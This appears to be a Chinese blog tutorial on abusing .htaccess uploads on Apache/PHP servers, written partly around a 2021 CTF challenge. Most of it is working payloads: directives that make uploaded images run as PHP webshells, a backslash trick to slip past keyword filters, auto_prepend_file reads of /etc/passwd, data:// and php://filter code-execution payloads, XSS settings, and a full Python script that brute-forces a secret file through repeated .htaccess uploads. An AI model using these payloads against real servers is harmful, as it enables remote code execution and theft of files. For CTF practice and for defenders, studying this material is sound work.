PHP .htaccess文件上传漏洞利用

漏洞信息·网络安全 · 07-15 · 396 人浏览

前言

之前对.htaccess文件上传漏洞的理解还是有些太浅显了,故在这里进行补充。

简介

.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个通过Apache Web服务器加载的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

.htaccess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

.htaccess文件上传漏洞

我们可以通过上传.htaccess来将图片文件解析为可执行文件,来执行我们上传的图片马。

常见利用方法

#在当前目录下,所有文件都会被解析成php代码执行
<IfModule >
    SetHandler application/x-httpd-php
</IfModule >
#指定文件解析为php
<FilesMatch "shell.jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

.htaccess屏蔽词绕过

可以利用反斜杠\来实现屏蔽词的绕过
例如,假设屏蔽了file:

php_value auto_append_fi\
le shell.jpg

.htaccess常见指令

SetHandler

SetHandler指令可以强制所有匹配的文件被一个指定的处理器处理。
用法:

SetHandler handler-name|None
SetHandler application/x-httpd-php
SetHandler server-status

AddHandler

AddHandler指令可以实现在文件扩展名与特定的处理器之间建立映射。

AddHandler handler-name extensive [extensive] …
#将扩展名为 .xxx 的文件作为 CGI 脚本来处理。
AddHandler cgi-script .xxx

AddType

AddType指令可以将给定的文件扩展名映射到指定的内容类型。

AddType media-type extensive [extensive] …
AddType application/x-httpd-php .gif
AddType application/x-httpd-php png jpg gif

php_flag

php_flag指令用来设定布尔值类型的 PHP 配置选项。

php_flag name on|off 
php_flag engine 0

将 engine 设置为 0,即在本目录和子目录中关闭 PHP 解析,可以造成源码泄露。

php_value

可以用 Apache 的配置文件(例如 httpd.conf)或.htaccess文件中的指令来修改 PHP 的配置设定。但是需要有开启 AllowOverride OptionsAllowOverride All权限才可以。
php_value指令用来设定指定的 PHP 的配置值。
要清除先前设定的值,把 value 设为 none。但是 php_value 不能用来设定布尔值,如果要设定布尔值的话应该用php_flag。
.htaccess的 php_value 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的配置。

本地文件包含利用
使用条件:当前目录下有可访问PHP文件

php_value auto_prepend_file /etc/passwd
php_value auto_append_file /etc/passwd

任意代码执行
使用条件:

  • allow_url_fopen 为 On
  • allow_url_include 为 On
  • 目标环境的当前目录中存在至少一个 可访问PHP文件

    php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ php_value auto_append_file data://text/plian,%3c%3fphp+phpinfo()%3b%3f%3e
    // 如果不使用base64加密则注意需要url编码

绕过\<?特殊字符
首先将Shell进行base64编码以文件名shell.jpg上传到服务器中,然后上传该.htaccess配置文件。
这个要当前目录下有可执行的PHP文件。

php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"

如果没有可执行的PHP文件,可将.htaccess文件解析为PHP文件,及添加以下内容:

AddType application/x-httpd-php .htaccess

XSS攻击
可以通过.htaccess文件设定highlight.comment选项,指定需要高亮的内容,从而进行 XSS。
方法一: highlight_file高亮输出,只要执行highlight_file就会输出xss内容

php_value highlight.comment xss 

方法二: 报错输出,只要出错就会输出xss内容

php_flag display_errors 1 
php_flag html_errors 1
php_value docref_root xss

正则回朔绕过正则匹配
通过设置正则匹配的次数上限,来绕过一些限制,使得payload能够通过。

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

本地文件读取

POC主体

<If "file('/flag')=~ /"'flag{xxxx"'/">  
ErrorDocument 404 "CheckError"
</If>

原理是利用文件读取函数获取文件内容,然后使用脚本逐字对文件内容进行猜解,如果错误就会返回404.
完整EXP(2021-津门杯文件上传)

import requests
import string
import hashlib

ip = requests.get('http://x.x.x.x:xx/ip.php').text
print(ip)

def check(a):
    # 这里存放htaccess文件内容
    htaccess = '''
    <If "file('/flag')=~ /''' + a + '''/">
    ErrorDocument 404 "CheckError"
    </If>
    '''
    # 设置文件上传的请求
    resp = requests.post("http://x.x.x.x:xx/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
    # 设置要访问的目标文件所在目录
    a = requests.get("http://x.x.x.x:xx/upload/" + i + "/a").text
    if "CheckError" not in a:
        return False
    else:
        return True

# 设置flag开头字符串
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
    for i in c:
        print("checking: " + flag + i)
        if check(flag + i):
            flag = flag + i
            print(flag)
            break
        else:
            continue

参考链接

.htaccess文件的华点
记一次对津门杯web-upload的详解

文件上传 PHP CTF PHP伪协议 396 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao